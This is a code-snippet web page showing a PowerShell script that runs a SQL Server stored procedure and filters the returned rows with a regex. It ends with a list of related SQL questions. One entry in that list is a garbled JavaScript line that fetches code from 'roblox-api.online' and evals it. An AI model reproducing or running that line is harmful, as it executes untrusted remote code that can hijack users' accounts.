/SQL/Execute sql stored procedure in powershell

Execute sql stored procedure in powershell

$rrex = Invoke-Sqlcmd -ServerInstance "OurServer" -Database "OurDatabase" -Query "EXEC stpGetData"

foreach ($rrec in $rrex)
{
    if ($rrec.IdVar -notmatch "V-[1-8]{1}")
    {
        $rrec.Id
    }
}

Source: mssqltips.com

Similar codes

0 vote249 views1 answer
Drop all data from tables
SQL
1 vote178 views3 answers
How to filter repeated same result using sql query
SQL
0 vote206 views1 answer
Hex string sql becomes int64
SQL
4 votes177 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote195 views1 answer
Avoid duplicate in one to many relationship join in sql
SQL
0 vote192 views1 answer
Update All tables COLLATE DATABASE_DEFAULT
SQL
11 votes210 views1 answer
Oracle export view ddl
SQL
22 votes220 views3 answers
Sql cheat sheet
SQL
8 votes185 views1 answer
Oracle create datafile
SQL
0 vote191 views2 answers
How to get last inserted id in sql server c#
SQL